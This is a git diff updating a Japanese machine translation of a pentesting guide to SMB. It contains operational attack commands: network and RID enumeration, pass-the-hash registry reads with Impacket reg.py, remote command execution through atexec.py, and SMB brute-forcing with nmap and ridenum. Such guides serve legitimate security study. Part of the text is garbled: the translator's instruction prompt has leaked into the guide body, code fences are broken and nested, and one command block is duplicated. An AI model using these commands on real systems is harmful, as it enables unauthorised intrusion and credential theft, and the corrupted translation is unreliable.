From 322105638d2eee9f676ffc356c10f244a14bd2aa Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Nov 2023 15:19:55 +0000 Subject: [PATCH] Translated ['network-services-pentesting/pentesting-smb.md'] to jp --- network-services-pentesting/pentesting-smb.md | 68 ++++++++----------- 1 file changed, 29 insertions(+), 39 deletions(-) diff --git a/network-services-pentesting/pentesting-smb.md b/network-services-pentesting/pentesting-smb.md index b2f677be8..16016640e 100644 --- a/network-services-pentesting/pentesting-smb.md +++ b/network-services-pentesting/pentesting-smb.md @@ -31,7 +31,7 @@ Server Message Block(`SMB`)は、**ファイルへのアクセス**やディレクトリ全体、プリンタ、ルーター、またはネットワークに公開されたインターフェースなど、他のネットワークリソースへのアクセスを制御する**クライアントサーバープロトコル**です。このプロトコルの主な適用範囲は、特にWindowsオペレーティングシステムシリーズであり、そのネットワークサービスはSMBを下位互換の方法でサポートしています。つまり、新しいエディションを搭載したデバイスは、古いMicrosoftオペレーティングシステムがインストールされたデバイスと簡単に通信できます。\ また、フリーソフトウェアプロジェクトである**Samba**を使用することで、**Linux**およびUnixディストリビューションでSMBを使用し、SMBを介したクロスプラットフォームの通信が可能になります。 -SMBサーバーは、**ローカルファイルシステムの任意の部分を共有**することができます。したがって、クライアントに表示される**階層**は、**サーバー**上の**構造**と部分的に**独立**しています。**アクセス権**は、`Access Control Lists`(`ACL`)によって定義されます。これらは、個々のユーザーまたはユーザーグループに対して**`実行`**、**`読み取り`**、**`完全アクセス`**などの属性に基づいて、**細かく制御**することができます。**ACL**は**共有に基づいて**定義されるため、サーバー上でローカルに割り当てられた権限とは異なります。 +SMBサーバーは、**ローカルファイルシステムの任意の部分を共有**することができます。したがって、クライアントに表示される**階層**は、**サーバー**上の**構造**と部分的に**独立**しています。**アクセス権**は、`Access Control Lists`(`ACL`)によって定義されます。これらは、個々のユーザーまたはユーザーグループに対して**`実行`**、**`読み取り`**、**`完全アクセス`**などの属性に基づいて**細かく制御**することができます。**ACL**は**共有に基づいて**定義されるため、サーバー上でローカルに割り当てられた権限とは異なります。 ### IPC$ 共有 @@ -55,16 +55,16 @@ NTLMが何かわからない場合、またはNTLMの動作方法や悪用方法 ## **サーバー列挙** -### ホストを検索するためにネットワークを**スキャン**する: +### **ネットワークをスキャン**してホストを検索します: ```bash nbtscan -r 192.168.0.1/24 ``` -### SMBサーバーバージョン +### SMBサーバーのバージョン -SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。この情報が他の使用されているツールに表示されない場合は、次の方法を使用できます。 +SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。この情報が他の使用ツールに表示されない場合は、次の方法を使用できます。 -* **MSF**の補助モジュール「_auxiliary/scanner/smb/smb_version」を使用する -* または、次のスクリプトを使用する: +* **MSF**の補助モジュール \_**auxiliary/scanner/smb/smb\_version**を使用する +* または、次のスクリプトを使用する: ```bash #!/bin/sh #Author: rewardone @@ -83,19 +83,19 @@ echo "" && sleep .1 ``` ### **エクスプロイトの検索** -エクスプロイトの検索は、SMB(Server Message Block)サービスの脆弱性を見つけるために使用される重要な手法です。エクスプロイトは、既知の脆弱性を悪用してシステムに侵入するためのコードやスクリプトです。エクスプロイトを使用することで、攻撃者はSMBサービスに対して攻撃を行い、システムにアクセスすることができます。 +エクスプロイトの検索は、SMBサービスの脆弱性を見つけるために重要なステップです。エクスプロイトは、既知の脆弱性を悪用するための特殊なコードまたは手法です。エクスプロイトを使用することで、攻撃者はSMBサービスに侵入し、機密情報を盗む、システムを乗っ取るなどの悪意のある活動を行うことができます。 -エクスプロイトを検索するためには、以下の手順を実行します。 +エクスプロイトを検索するためには、以下の手順に従います。 -1. エクスプロイトデータベースを検索します。エクスプロイトデータベースには、既知の脆弱性に関連するエクスプロイトが格納されています。一般的なエクスプロイトデータベースには、Metasploit FrameworkやExploit-DBなどがあります。 +1. セキュリティ情報のデータベースやオンラインのリソースを調査します。CVE(Common Vulnerabilities and Exposures)データベースやセキュリティブログ、フォーラムなどが有用な情報源です。 -2. SMBサービスのバージョンを特定します。SMBサービスのバージョンは、エクスプロイトの適用可能性を判断するために重要です。バージョン情報は、ネットワークスキャンやポートスキャンなどの手法を使用して取得することができます。 +2. SMBサービスのバージョンや使用されているソフトウェアの詳細を特定します。これには、ネットワークスキャンやポートスキャンツールを使用することができます。 -3. 適切なエクスプロイトを選択します。エクスプロイトデータベースから、SMBサービスのバージョンに対応するエクスプロイトを選択します。選択したエクスプロイトは、攻撃者がSMBサービスに対して使用するコードやスクリプトです。 +3. 特定のバージョンやソフトウェアに関連する既知の脆弱性を検索します。エクスプロイトコードや手法は、オープンソースのセキュリティツールやGitHubなどのリポジトリで入手できる場合があります。 -4. エクスプロイトを実行します。選択したエクスプロイトを使用して、SMBサービスに対して攻撃を行います。エクスプロイトの実行には、Metasploit Frameworkや自作のスクリプトなどのツールを使用することができます。 +4. 脆弱性の詳細とエクスプロイトの使用方法を理解し、攻撃のリスクと成功の可能性を評価します。 -エクスプロイトの検索は、SMBサービスの脆弱性を利用してシステムに侵入するための重要な手法です。しかし、合法的な目的でのみ使用することが重要です。 +エクスプロイトの検索は、SMBサービスの脆弱性を特定し、システムのセキュリティを向上させるために重要なステップです。ただし、エクスプロイトの使用は法的な制約や倫理的な考慮事項に従う必要があります。 ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb @@ -156,7 +156,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルnetwork-services-pentesting/pentesting-smb.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどを翻訳しないでください。また、翻訳とマークダウン構文以外の追加の内容は追加しないでください。 +以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルnetwork-services-pentesting/pentesting-smb.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウン構文以外の追加の内容は追加しないでください。 ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -257,7 +257,7 @@ You can try to connect to them by using the following command 以下のコマンドは、Windows共有に接続するためのsmbclientコマンドです。 -### Nullセッションを使用して接続する +### Nullセッションを使用して接続する場合 ```bash smbclient -U '%' -N \\\\\\ @@ -265,13 +265,13 @@ smbclient -U '%' -N \\\\\\ このコマンドは、nullセッションを使用してWindows共有に接続します。 -### 認証済みセッションを使用して接続する +### 認証セッションを使用して接続する場合 ```bash smbclient -U '' \\\\\\ ``` -このコマンドは、認証済みセッションを使用してWindows共有に接続します(パスワードの入力が求められます)。 +このコマンドは、認証セッションを使用してWindows共有に接続します(パスワードの入力が求められます)。 ``` ``` @@ -365,11 +365,11 @@ Commands: * [**Snaffler**](https://github.com/SnaffCon/Snaffler)**** ```bash -```shell +```plaintext Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` -このコマンドは、Snafflerというツールを使用して、`domain.local`というドメインに対してSMB(Server Message Block)のペンテストを実行します。`-s`オプションは、SMBサービスをスキャンすることを指定しています。`-d`オプションは、対象となるドメインを指定します。`-o`オプションは、結果を`snaffler.log`というファイルに保存することを指定します。`-v`オプションは、詳細な情報を表示することを指定します。 +このコマンドは、Snafflerというツールを使用して、`domain.local`というドメインに対してSMB(Server Message Block)のペンテストを実行します。`-s`オプションは、SMBサービスをスキャンすることを指定しています。`-d`オプションは、対象となるドメインを指定します。`-o`オプションは、結果を`snaffler.log`というファイルに出力することを指定します。`-v`オプションは、詳細な情報を表示することを指定します。`data`は、スキャン対象のデータです。 ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. @@ -394,22 +394,16 @@ You should **check** the **scripts** inside of it as you might **find** sensitiv You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try: ```bash -```markdown -以下のコマンドは、SMB(Server Message Block)プロトコルを使用して、指定されたドメインとマシンに対してレジストリのクエリを実行します。 - -```bash +``` sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -このコマンドは、`reg.py`というツールを使用しています。`domain.local`は指定されたドメインを表し、`USERNAME`はユーザー名、`MACHINE.htb`はマシン名です。`-hashes`オプションは、ユーザーのパスワードハッシュを指定します。`1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6`はハッシュ値です。 - -`-keyName`オプションは、クエリを実行するレジストリキーの名前を指定します。`HKU`はHKEY_USERS、`HKCU`はHKEY_CURRENT_USER、`HKLM`はHKEY_LOCAL_MACHINEを表します。 - -`-s`オプションは、クエリ結果を表示するために使用されます。 - -これらのコマンドを実行することで、指定されたドメインとマシンのレジストリ情報を取得することができます。 +``` +sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s +sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s +sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ``` @@ -529,7 +523,7 @@ Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash -```plaintext +```shell ./atexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> "コマンド" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` @@ -547,21 +541,17 @@ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```markdown ## SMB Brute Force -To perform a brute force attack on the SMB service, you can use the `nmap` tool with the `smb-brute` script. The command is as follows: +To perform a brute force attack on the SMB service, you can use the `nmap` tool with the `smb-brute` script. The following command will attempt to brute force the SMB service on port 445 of the specified IP address: ```bash nmap --script smb-brute -p 445 ``` -This command will attempt to brute force the SMB service on port 445 of the specified IP address. - -Another method to obtain usernames for brute forcing is by using the `ridenum.py` script. The command is as follows: +Another approach is to use the `ridenum.py` script to obtain a list of usernames by brute forcing the RIDs. Once you have the list of usernames, you can then attempt to brute force each username. The following command will perform this process, specifying the IP address, the range of RIDs to brute force (from 500 to 50000), and the path to a file containing a list of passwords: ```bash ridenum.py 500 50000 /root/passwds.txt ``` - -This command will attempt to retrieve usernames by brute forcing the RIDs and then proceed to brute force each username. ``` ``` @@ -608,7 +598,7 @@ Description: SMBのノート Note: | ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message BlockはCommon Internet File Systemとしても知られています。このシステムは、ネットワーク上のノード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーション層のネットワークプロトコルです。 -#以下は、開いているSMBポートを見つけた場合に毎回実行するコマンドです。 +#以下は、オープンなSMBポートを見つけた場合に毎回実行するコマンドです。 認証情報なしで nbtscan {IP} @@ -651,7 +641,7 @@ Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms0 Entry_4: Name: Nmap SMBスキャン2 Description: Nmapを使用したSMB脆弱性スキャン(より一般的) -Command: nmap --script smb-vuln* -Pn -p 139,445 {IP} +Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} Entry_5: Name: Hydraブルートフォース